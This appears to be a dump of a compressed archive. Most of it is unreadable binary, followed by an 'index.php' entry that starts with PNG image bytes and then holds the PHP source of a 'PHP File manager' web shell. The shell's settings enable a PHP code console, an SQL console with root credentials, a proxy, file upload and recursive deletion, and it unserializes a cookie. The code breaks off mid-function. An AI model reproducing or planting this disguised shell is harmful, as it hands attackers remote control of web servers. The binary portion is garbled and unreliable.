OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
